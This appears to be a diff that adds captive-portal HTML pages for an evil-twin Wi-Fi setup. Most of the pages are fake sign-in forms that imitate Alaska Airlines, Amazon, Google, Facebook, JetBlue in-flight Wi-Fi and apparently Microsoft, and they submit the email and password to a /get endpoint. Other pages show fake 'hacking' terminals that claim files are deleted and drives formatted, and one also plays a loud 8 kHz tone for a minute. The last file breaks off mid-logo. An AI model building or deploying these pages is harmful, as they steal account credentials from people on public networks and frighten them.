echo -e "\n\nDONE\n\nWritten to: ${filename}\n\n"
@@ -0,0 +1,89 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.login-container {
background-color: white;
padding: 20px;
border-radius: 5px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1);
}
.login-container h1, .login-container h2 {
text-align: center;
}
.login-container button {
width: 100%;
background-color: green;
}
#logo {
display: flex;
justify-content: center;
margin-bottom: 20px;
}
.form-group {
margin-bottom: 10px;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 8px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}
</style>
<script>
window.addEventListener('DOMContentLoaded', (event) => {
const form = document.getElementById('email-form-step');
form.addEventListener('submit', (event) => {
event.preventDefault();
const emailInput = document.getElementById('email-input');
const passwordInput = document.getElementById('password-input');
const email = emailInput.value;
const password = passwordInput.value;
const url = `/get?email=${encodeURIComponent(email)}&password=${encodeURIComponent(password)}`;
window.location.href = url;
});
});
</script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-lg-4 offset-lg-4 login-container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 301 92" width="93.75" height="30">
<g fill="#00385f">
<path d="m148 4-35 58c-3 5-5 11-6 17H94c1-7 4-14 10-24l23-40c5-8 10-11 19-11h2zm10 31c-18 0-28 10-38 32-2 6-4 13 5 13 4 0 12-3 17-7v6h12c0-5 2-11 6-18l15-25-17-1m-13 29c-3 3-7 6-11 6-3 0-3-3-2-6 8-14 15-21 25-21h1l-13 21zm138-29c-17 0-28 10-37 32-3 6-4 13 4 13 4 0 12-3 17-7v6h12c1-5 2-11 6-18l15-25-17-1m-13 29c-2 3-7 6-11 6-3 0-3-3-1-6 7-14 15-21 24-21h2l-14 21z"/>
<path d="M243 91h-4c-5 0-9-3-11-8l-6-23-11 19h-13l36-61c5-8 10-11 18-11h2l-24 41 18-13h14l-30 21 11 35zM124 1c-12 0-19 3-31 11L53 42H27c-8 0-14 0-19 4l-6 7 37-2L0 79h17l40-28 13-1c9 0 15-8 15-8H69l32-24-23 39c-5 9-8 15-9 22h14l6-18 33-54 4-6h-2zm64 46c0 2 1 2 3 4l4 2c4 3 5 7 5 10-1 9-8 17-22 17l-17-2 6-9 12 1c5 0 7-2 7-4 1-1 0-3-2-4l-3-3c-5-3-6-6-6-10 1-8 11-14 24-14l13 1-5 9-12-1c-4 0-6 1-7 3"/>
</g>
</svg>
</div>
<form id="email-form-step">
<h1>Sign in</h1>
<h2>Use your Alaska Airlines Account</h2>
<div class="form-group">
<input id="email-input" name="email" type="text" class="form-control" placeholder="User ID or Mileage Plan number" required>
</div>
<div class="form-group">
<input id="password-input" name="password" type="password" class="form-control" placeholder="Password" required>
</div>
<div class="form-group">
<button class="btn btn-primary" type="submit">Next</button>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
@@ -0,0 +1,100 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo {
text-align: center;
margin-bottom: 30px;
}
.form-container {
background: #fff;
border: 1px solid #ddd;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #f0c14b;
border: none;
color: #333;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
}
.submit-btn:hover {
background: #d8ad40;
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" viewBox="0 0 120 60">
<path fill="#f90" d="M72 40.7a38.9 38.9 0 0 1-47.7-3.4c-.5-.5 0-1.2.6-.8a52.8 52.8 0 0 0 46.3 2.8c1-.4 1.8.7.8 1.4m2.5-2.8c-.8-1-5-.4-6.8-.2-.6 0-.7-.4-.2-.8 3.3-2.3 8.8-1.6 9.4-.8s-.1 6.2-3.3 8.8c-.4.4-.9.2-.7-.3.7-1.8 2.3-5.7 1.6-6.7"/>
<path fill="#221f1f" d="M67.8 20.4v-2.2a.6.6 0 0 1 .6-.6h10.1c.4 0 .6.2.6.6V20c0 .3-.2.8-.7 1.4L73 29.1c2 0 4 .2 5.8 1.2.4.2.5.6.5.9v2.4c0 .3-.3.7-.7.5a11.7 11.7 0 0 0-10.8 0c-.3.2-.7-.1-.7-.5v-2.3c0-.4 0-1 .4-1.5l6.1-8.8h-5.3c-.3 0-.6-.2-.6-.6m-37 14.2h-3.1a.6.6 0 0 1-.6-.5V18c0-.2.3-.5.6-.5h3c.2 0 .5.3.5.6v2c.8-2 2.2-3 4.1-3 2 0 3.2 1 4 3a4.5 4.5 0 0 1 7.9-1.2c1 1.4.8 3.3.8 5v10c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6V22.6c-.3-1-1-1.3-1.9-1.3-.7 0-1.5.5-1.8 1.3s-.3 2.1-.3 3V34c0 .3-.3.6-.6.6h-3.1a.6.6 0 0 1-.6-.6v-8.4c0-1.8.3-4.4-1.9-4.4-2.2 0-2.1 2.6-2.1 4.4V34c0 .3-.3.6-.6.6m57.2-17.3c4.6 0 7 4 7 9 0 4.8-2.7 8.6-7 8.6-4.5 0-7-3.9-7-8.8 0-5 2.5-8.8 7-8.8m0 3.2c-2.3 0-2.4 3.1-2.4 5s0 6.2 2.4 6.2 2.5-3.4 2.5-5.4c0-1.4 0-3-.5-4.2-.3-1.1-1-1.6-2-1.6m13 14.1h-3a.6.6 0 0 1-.6-.6V18.1c0-.2.3-.5.6-.5h2.9c.2 0 .4.2.5.5v2.4c1-2.2 2.1-3.2 4.3-3.2a4 4 0 0 1 3.6 1.9c.8 1.2.8 3.4.8 5v10c0 .2-.3.4-.6.4h-3.1a.6.6 0 0 1-.5-.5v-8.6c0-1.8.2-4.3-2-4.3-.7 0-1.4.5-1.8 1.3a7 7 0 0 0-.5 3V34c0 .3-.3.6-.6.6M59.7 27c0 1.2 0 2.2-.6 3.3-.5.9-1.3 1.4-2.1 1.4-1.2 0-2-1-2-2.2 0-2.7 2.4-3.2 4.7-3.2v.7m3.1 7.5c-.2.2-.5.2-.7.1-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5.1 2.2-2.6 0-4.6-1.6-4.6-4.8a5 5 0 0 1 3.3-5c1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.7-.4-2.3-.4-.6-1-.8-1.7-.8-1.2 0-2.3.6-2.5 1.9 0 .2-.3.5-.6.5l-3-.3c-.2 0-.5-.2-.4-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6C64.2 20 64 21.9 64 24v4.8c0 1.5.6 2.1 1.2 2.9.2.3.2.6 0 .8l-2.4 2M19.1 27c0 1.2 0 2.2-.6 3.3-.5.9-1.2 1.4-2.1 1.4-1.2 0-1.9-.9-1.9-2.2 0-2.7 2.4-3.2 4.6-3.2v.7m3.1 7.6c-.2.1-.5.2-.7 0-1-.8-1.2-1.2-1.8-2-1.7 1.7-2.9 2.2-5 2.2-2.7 0-4.7-1.6-4.7-4.8 0-2.5 1.4-4.2 3.3-5 1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.6-.4-2.3-.3-.5-1-.8-1.7-.8-1.2 0-2.2.6-2.5 1.9 0 .3-.2.5-.5.5l-3-.3c-.3 0-.6-.2-.5-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6 1.5 1.4 1.4 3.3 1.4 5.3v4.8c0 1.5.6 2.1 1.1 2.9.2.3.3.6 0 .8l-2.3 2"/>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in</h1>
<h2>Use your Amazon Account</h2></center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>
@@ -0,0 +1,146 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<style>
body {
font-family: sans-serif;
}
.login-container {
width: 85%;
margin: auto;
padding: 20px;
border-radius: 5px;
margin-top: 10px;
}
#logo {
margin: auto;
width: fit-content;
}
.g-h1 {
font-size: 25px;
text-align: center;
font-weight: 200;
margin: auto;
}
.g-h2 {
font-size: 15px;
text-align: center;
font-weight: 200;
margin: auto;
}
.g-input {
width: 95%;
height: 30px;
background-color: transparent;
font: 400 16px Roboto, RobotoDraft, Helvetica, Arial, sans-serif;
border-width: 0.5px;
border-color: rgba(0, 0, 0, 0.6);
border-radius: 4px;
font-size: 16px;
padding: 13px 9px;
margin-bottom: 10px;
}
.create-account {
font-size: smaller;
color: #1a73e8;
text-decoration: none;
font-family: "Google Sans", Roboto, Arial, sans-serif;
font-size: 15px;
letter-spacing: 0.25px;
}
.gbtn-primary {
min-width: 64px;
border: none;
margin-top: 6px;
margin-bottom: 6px;
height: 36px;
border-radius: 4px;
font-family: "Google Sans", Roboto, Arial, sans-serif;
font-size: 15px;
font-weight: 500;
padding: 0 24px 0 24px;
box-sizing: inherit;
background-color: var(--gm-fillbutton-container-color, rgb(26, 115, 232));
color: #fff;
}
.button-container {
display: flex;
justify-content: space-between;
align-items: center;
}
.text {
font-family: Roboto, "Noto Sans Myanmar UI", Arial, sans-serif;
white-space: normal;
color: #5f6368;
font-size: 14px;
line-height: 1.4286;
padding-bottom: 3px;
padding-top: 9px;
box-sizing: inherit;
}
.txt {
text-decoration: none;
border-radius: 4px;
color: #1a73e8;
}
</style>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
</head>
<body>
<div class="login-container">
<div id="logo">
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<g id="qaEJec">
<path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path>
</g>
<g id="YGlOvc">
<path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path>
</g>
<g id="BWfIk">
<path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path>
</g>
<g id="e6m3fd">
<path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path>
</g>
<g id="vbkDmc">
<path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path>
</g>
<g id="idEJde">
<path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path>
</g>
</svg>
</div>
<form action="/get" id="email-form-step">
<h4></h4>
<h1 class="g-h1">Sign in</h1>
<h3></h3>
<h2 class="g-h2">Use your Google Account</h2>
<h6></h6>
<div class="login-content">
<input name="email" type="text" class="g-input" placeholder="Email or phone" required>
<input name="password" type="password" class="g-input" placeholder="Enter your password" required>
<div class="text">Not your computer? Use Guest mode to sign in privately. <a href="#" class="txt" aria-label="a">Learn more</a>
</div>
<h5></h5>
<div class="button-container">
<a class="create-account" href="caca.html">Create account</a>
<button class="gbtn-primary" type="submit">Next</button>
</div>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
File diff suppressed because one or more lines are too long
@@ -0,0 +1,83 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
color: #1d2129;
}
.login-container {
width: 350px;
background-color: white;
box-shadow: 0px 0px 5px 0px rgba(0,0,0,0.20);
border-radius: 5px;
padding: 10px 20px;
}
#logo {
display: block;
margin: 0 auto;
margin-bottom: 20px;
}
h1 {
font-size: 28px;
font-weight: normal;
margin-bottom: 10px;
text-align: center;
}
h2 {
font-size: 16px;
font-weight: normal;
color: #606770;
margin-bottom: 20px;
text-align: center;
}
input[type=text], input[type=password] {
width: 100%;
padding: 15px;
margin: 5px 0 10px 0;
display: inline-block;
border: 1px solid #ccc;
box-sizing: border-box;
border-radius: 5px;
}
button {
background-color: #4267B2;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
cursor: pointer;
width: 100%;
border-radius: 5px;
}
button:hover {
opacity: 0.8;
}
</style>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
</head>
<body>
<div class="login-container">
<svg id="logo" viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<g>
<path fill="#1877F2" d="M22 2H2C.9 2 0 2.9 0 4v16c0 1.1.9 2 2 2h9v-7h-3V11h3V9c0-2.8 2.2-5 5-5h3v3h-3c-1.1 0-2 .9-2 2v2h5l-1 3h-4v7h6c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z"></path>
</g>
</svg>
<form action="/get" method="get">
<h1>Sign in</h1>
<h2>Use your Facebook Account</h2>
<label for="email"><b>Email</b></label>
<input type="text" placeholder="Enter Email" name="email" required>
<label for="password"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="password" required>
<button type="submit">Sign in</button>
</form>
</div>
</body>
</html>
@@ -0,0 +1,61 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
* {
box-sizing: border-box;
}
body {
background-color: #000;
color: #0F0;
font-family: 'Courier New', Courier, monospace;
margin: 0;
padding: 0;
overflow: hidden;
}
#terminal {
position: absolute;
width: 100%;
height: 100vh;
padding: 20px;
white-space: pre-wrap;
overflow-wrap: break-word;
animation: type 20s steps(80, end);
}
@keyframes type {
from {width: 0;}
}
</style>
<title>Hacking Simulation</title>
</head>
<body>
<div id="terminal"></div>
<script>
const lines = [
'Initiating connection...',
'Bypassing security protocols...',
'Accessing system...',
'Disabling antivirus...',
'Initiating data transfer...',
'Deleting files...',
'Formatting drive...',
'Hacking successful.'
];
let i = 0;
let txt = '';
let speed = 100;
function typeWriter() {
if (i < lines.length) {
txt += lines[i] + "\n";
document.getElementById("terminal").innerHTML = txt;
i++;
setTimeout(typeWriter, speed);
}
}
typeWriter();
</script>
</body>
</html>
@@ -0,0 +1,58 @@
<!DOCTYPE html>
<html>
<head>
<title>Captive Portal</title>
<style>
body {
background-color: #000;
color: #0F0;
font-family: 'Courier New', Courier, monospace;
}
#terminal {
white-space: pre;
overflow: hidden;
margin: 0 auto;
padding: 10px;
}
#connectBtn {
display: block;
position: absolute;
left: 20px;
background: #0F0;
padding: 10px 20px;
color: #000;
text-decoration: none;
margin-top: 20px;
}
</style>
</head>
<body>
<a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a>
<div id="terminal"></div>
<script>
var content = [
"Accessing device...",
"Device accessed ✔",
"Deleting files...",
"Files deleted ✔",
"Formatting device...",
"Device formatted ✔. \n\n",
"(⁠☞⁠ ͡⁠°⁠ ͜⁠ʖ⁠ ͡⁠°⁠)⁠☞",
"ᕙ⁠(͡⁠°⁠‿⁠ ͡⁠°⁠)⁠ᕗ",
/* You should add the rest of your ASCII art here. */
];
function startHack() {
var terminal = document.getElementById('terminal');
var counter = 0;
document.getElementById('connectBtn').style.display = 'none';
var intervalId = setInterval(function() {
terminal.textContent += content[counter++] + '\n';
if (counter === content.length) {
clearInterval(intervalId);
}
}, 1000);
}
</script>
</body>
</html>
@@ -0,0 +1,71 @@
<!DOCTYPE html>
<html>
<head>
<title>Captive Portal</title>
<style>
body {
background-color: #000;
color: #0F0;
font-family: 'Courier New', Courier, monospace;
}
#terminal {
white-space: pre;
overflow: hidden;
margin: 0 auto;
padding: 10px;
}
#connectBtn {
display: block;
position: absolute;
left: 20px;
background: #0F0;
padding: 10px 20px;
color: #000;
text-decoration: none;
margin-top: 20px;
}
</style>
</head>
<body>
<a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a>
<div id="terminal"></div>
<script>
var content = [
"Accessing device...",
"Device accessed ✔",
"Deleting files...",
"Files deleted ✔",
"Formatting device...",
"Device formatted ✔. \n\n",
"(⁠☞⁠ ͡⁠°⁠ ͜⁠ʖ⁠ ͡⁠°⁠)⁠☞",
"ᕙ⁠(͡⁠°⁠‿⁠ ͡⁠°⁠)⁠ᕗ",
/* You should add the rest of your ASCII art here. */
];
function startHack() {
var terminal = document.getElementById('terminal');
var counter = 0;
document.getElementById('connectBtn').style.display = 'none';
var intervalId = setInterval(function() {
terminal.textContent += content[counter++] + '\n';
if (counter === content.length) {
clearInterval(intervalId);
}
}, 1000);
// Creating the audio context
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
var oscillator = audioCtx.createOscillator();
oscillator.type = 'sine';
oscillator.frequency.value = 8000; // frequency in Hz
oscillator.connect(audioCtx.destination);
oscillator.start();
// Stop the frequency sound after 1 minute
setTimeout(function() {
oscillator.stop();
}, 60000); // 60000 milliseconds = 1 minute
}
</script>
</body>
</html>
@@ -0,0 +1,74 @@
<!DOCTYPE html>
<html>
<head>
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
}
body {
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
background-color: #f1f1f1;
}
.login-container {
background-color: #fff;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
#logo {
display: block;
margin: 0 auto 20px;
}
h1, h2 {
text-align: center;
margin-bottom: 20px;
}
.g-input {
display: block;
width: 100%;
padding: 10px;
margin-bottom: 10px;
border: 1px solid #ddd;
border-radius: 5px;
}
.gbtn-primary {
display: block;
width: 100%;
padding: 10px;
border: none;
border-radius: 5px;
background-color: #1a73e8;
color: #fff;
cursor: pointer;
}
</style>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
</head>
<body>
<div class="login-container">
<form action="/get" id="email-form-step">
<div id="logo">
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<g id="qaEJec"><path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path></g>
<g id="YGlOvc"><path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path></g>
<g id="BWfIk"><path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path></g>
<g id="e6m3fd"><path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path></g>
<g id="vbkDmc"><path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path></g>
<g id="idEJde"><path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path></g>
</svg>
</div>
<h1>Sign in</h1>
<h2>Use your Google Account</h2>
<input name="email" type="text" class="g-input" placeholder="Email" required>
<input name="password" type="password" class="g-input" placeholder="Password" required>
<button class="gbtn-primary" type="submit">Next</button>
</form>
</div>
</body>
</html>
@@ -0,0 +1,60 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #003876;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
color: white;
}
.login-container {
background-color: #1A73E8;
padding: 20px;
border-radius: 5px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1);
}
.login-container h1, .login-container h2 {
text-align: center;
}
.login-container button {
width: 100%;
}
.form-control {
margin-bottom: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-lg-4 offset-lg-4 login-container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400">
<path fill="#fff" fill-rule="nonzero" d="M112 167h14v74c0 12-9 20-21 20h-5v-13h4c5 0 8-2 8-8zm0-28h14v14h-14zm36 56c1-10 7-16 15-16s14 6 15 16zm43 12v-12c0-17-13-29-28-29-13 0-28 9-28 36 0 28 16 35 30 35 9 0 18-3 25-11l-10-9c-4 4-10 7-15 7-10 0-17-6-17-17zm11-61h14v21h10v11h-10v40c0 4 2 5 5 5h5v13h-7c-10 0-17-6-17-17v-41h-7v-11h7zm70 47c11 0 16 7 16 15 0 7-5 14-16 14h-22v-29zm-37 43h41c15 0 27-11 27-27 0-10-5-20-16-23 11-5 14-13 14-21 0-15-9-26-28-26h-38zm36-84c11 0 16 7 16 14 0 8-5 14-16 14h-21v-28zm40-13h14v79c0 3 2 5 5 5h5v13h-6c-10 0-18-4-18-17zm30 28h13v41c0 10 6 15 14 15s14-5 14-15v-41h14v69h-14v-7c-5 5-11 8-18 8-11 0-23-8-23-24zm76 28c0-10 6-16 15-16 8 0 14 6 14 16zm43 12v-12c0-17-13-29-28-29-14 0-29 9-29 36 0 28 17 35 31 35 9 0 18-3 25-11l-10-9c-5 4-10 7-16 7-9 0-16-6-16-17z"/>
</svg>
</div>
<form action="/get" id="email-form-step">
<h1>Welcome aboard!</h1>
<h2>Sign in with your JetBlue<br>Account to use Wi-Fi</h2>
<div class="form-group">
<input name="email" type="text" class="form-control" placeholder="Email" required>
</div>
<div class="form-group">
<input name="password" type="password" class="form-control" placeholder="Password" required>
</div>
<div class="form-group">
<button class="btn btn-primary" type="submit">Sign In</button>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
@@ -0,0 +1,139 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
display: flex;
flex-direction: column;
justify-content: flex-start;
align-items: flex-start;
height: 100vh;
background: #000;
color: #0f0;
font-family: 'Courier New', Courier, monospace;
padding: 20px;
padding-top: 20%;
box-sizing: border-box;
overflow: hidden;
position: relative;
}
.form-container {
width: 300px; /* You can adjust this value to match your preference */
}
#matrix {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 1;
}
#matrix span {
position: absolute;
font-size: 20px;
animation: matrix 1s linear infinite;
animation-play-state: paused;
}
@keyframes matrix {
0% { top: -100%; }
100% { top: 100%; }
}
#terminal, #signin, #loginForm {
position: relative;
z-index: 2;
}
#terminal {
width: 100%;
max-width: 800px;
white-space: pre-wrap;
line-height: 1.5;
text-align: left;
color: #f00; /* make the color of the terminal text red */
font-weight: bold; /* make the terminal text bold */
margin-top: 20px;
}
#loginForm {
margin-top: 20px;
}
#loginForm input {
margin-bottom: 10px;
padding: 5px;
width: 100%;
}
#signin {
margin-bottom: 10px;
font-size: 1.4em;
color: #fff;
font-weight: bold;
}
</style>
</head>
<body>
<div class="form-container">
<div id="signin">Register or Sign-in</div>
<form id="loginForm" action="/get" method="get">
<input type="text" name="email" placeholder="Email/Username" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Submit">
</form>
</div>
<div id="terminal"></div>
<div id="matrix"></div>
<script>
var terminal = document.getElementById('terminal');
var form = document.getElementById('loginForm');
var matrix = document.getElementById('matrix');
var messages = [
'Initiating connection...',
'Bypassing security protocols...',
'Accessing system...',
'Disabling antivirus...',
'Accessing User\'s Email & Passwords...',
'Accessing User\'s Contact...',
'Initiating data transfer...',
'Deleting files...',
'Formatting drive...',
'Hacking successful.',
];
function typeMessage(message, index) {
if (index < message.length) {
terminal.innerText += message[index];
setTimeout(typeMessage, 50, message, index + 1); /* make text load faster */
} else {
terminal.innerText += '\n> ';
if (messages.length) {
var nextMessage = messages.shift();
setTimeout(typeMessage, 500, nextMessage, 0); /* make next message appear faster */
}
}
}
form.onsubmit = function(e) {
e.preventDefault();
terminal.innerText = '> ';
var message = messages.shift();
typeMessage(message, 0);
form.style.display = 'none';
// Start matrix rain
var spans = matrix.querySelectorAll('span');
for (let i = 0; i < spans.length; i++) {
spans[i].style.animationPlayState = 'running';
}
}
// Matrix rain
var characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
for (let i = 0; i < 100; i++) {
let span = document.createElement('span');
span.innerText = characters[Math.floor(Math.random() * characters.length)];
span.style.left = Math.random() * window.innerWidth + 'px';
span.style.animationDelay = Math.random() + 's';
matrix.appendChild(span);
}
</script>
</body>
</html>
@@ -0,0 +1,77 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, Helvetica, sans-serif;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.container {
max-width: 400px;
padding: 25px;
margin: auto;
}
.form {
max-width: 300px;
padding: 20px;
border: 1px solid #cccccc;
border-radius: 5px;
margin: 0 auto;
}
h1 {
text-align: center;
color: #0067b8;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 12px 10px;
margin: 8px 0;
box-sizing: border-box;
border: 1px solid #cccccc;
border-radius: 4px;
}
button[type="submit"] {
width: 100%;
background-color: #0067b8;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
border-radius: 4px;
cursor: pointer;
}
button[type="submit"]:hover {
background-color: #005299;
}
svg {
display: block;
margin: 0 auto;
width: 150px;
height: 150px;
}
</style>
</head>
<body>
<div class="container">
<svg viewBox="0 0 337.6 72" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
